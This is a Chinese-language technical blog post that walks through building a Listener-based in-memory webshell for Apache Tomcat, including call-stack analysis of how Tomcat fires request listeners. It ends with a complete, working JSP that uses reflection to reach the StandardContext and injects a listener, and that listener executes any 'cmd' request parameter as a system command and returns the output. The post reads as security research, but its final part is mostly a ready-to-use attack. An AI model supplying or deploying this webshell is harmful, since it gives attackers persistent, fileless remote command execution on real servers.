0x01 项目搭建
Servlet 规范中定义了 8 个监听器接口,其中最适合用来做内存马的是ServletRequestListener
,它被用于监听 ServletRequest 对象的创建和销毁过程,在每次访问的时候都会被调用。
Servlet Listener(监听器) (biancheng.net)
memoryListener
package com.yulate.tomcatmemory.listener;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class memoryListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
// ServletRequestListener.super.requestInitialized(sre);
System.out.println("lister");
}
}
web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<listener>
<listener-class>com.yulate.tomcatmemory.listener.memoryListener</listener-class>
</listener>
</web-app>
0x02 流程分析
在requestInitialized
方法中打上断点
进行访问之后的调用栈如下
requestInitialized:24, memoryListener (com.yulate.tomcatmemory.listener)
fireRequestInitEvent:5901, StandardContext (org.apache.catalina.core)
invoke:125, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:373, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:868, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1590, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)
我们直接从StandardHostValve#invoke()
方法开始看起
调用
StandardContext#fireRequestInitEvent()
方法,其中传入的参数为request
在fireRequestInitEvent
方法中通过getApplicationEventListeners
方法直接获取出全部的listener,如何再进行遍历调用listerner中的requestInitialized
方法。
0x03 内存马实现分析
相对于filter内存马listener内存马要简单的很多,没有filter调用链这种东西
在上述流程分析中提到getApplicationEventListeners
方法能够获取到全部的listerner
该变量就是储存listerner的变量
向其中添加数据的方法有如下两个
/**
* Add a listener to the end of the list of initialized application event
* listeners.
*
* @param listener The listener to add
*/
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}
/**
* {@inheritDoc}
*
* Note that this implementation is not thread safe. If two threads call
* this method concurrently, the result may be either set of listeners or a
* the union of both.
*/
@Override
public void setApplicationEventListeners(Object listeners[]) {
applicationEventListenersList.clear();
if (listeners != null && listeners.length > 0) {
applicationEventListenersList.addAll(Arrays.asList(listeners));
}
}
0x04 正式实现
获取context
可以参考StandardHostValve#invoke()
方法中使用的办法。
在jsp中也可以参考直接获取content
<%
System.out.println(request);
try {
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
Context context = req.getContext();
} catch (Exception e) {
throw new RuntimeException(e);
}
%>
创建恶意listener
创建实现至ServletRequestListener
接口的listener
class EvalListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
HttpServletRequest httpServletRequest = (HttpServletRequest) sre.getServletRequest();
PrintWriter pw = response.getWriter();
String cmd = httpServletRequest.getParameter("cmd");
System.out.println(cmd);
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
InputStream input = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(input));
String line = null;
while ((line = br.readLine()) != null) {
pw.write(line);
}
br.close();
input.close();
pw.write("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
插入listener
使用上述分析出的addApplicationEventListener
方法插入恶意listener
EvalListener evalListener = new EvalListener();
context.addApplicationEventListener(evalListener);
JSP 内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%--
Created by IntelliJ IDEA.
User: yulate
Date: 4/12/2023
Time: 4:19 PM
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
System.out.println(request);
try {
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request) requestField.get(request);
StandardContext context = (StandardContext) req.getContext();
class EvalListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
ServletRequestListener.super.requestDestroyed(sre);
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
HttpServletRequest httpServletRequest = (HttpServletRequest) sre.getServletRequest();
PrintWriter pw = response.getWriter();
String cmd = httpServletRequest.getParameter("cmd");
System.out.println(cmd);
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
InputStream input = process.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(input));
String line = null;
while ((line = br.readLine()) != null) {
pw.write(line);
}
br.close();
input.close();
pw.write("\n");
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
EvalListener evalListener = new EvalListener();
context.addApplicationEventListener(evalListener);
out.println("inject success");
} catch (Exception e) {
throw new RuntimeException(e);
}
%>
<html>
<head>
<title>Title</title>
</head>
<body>
</body>
</html>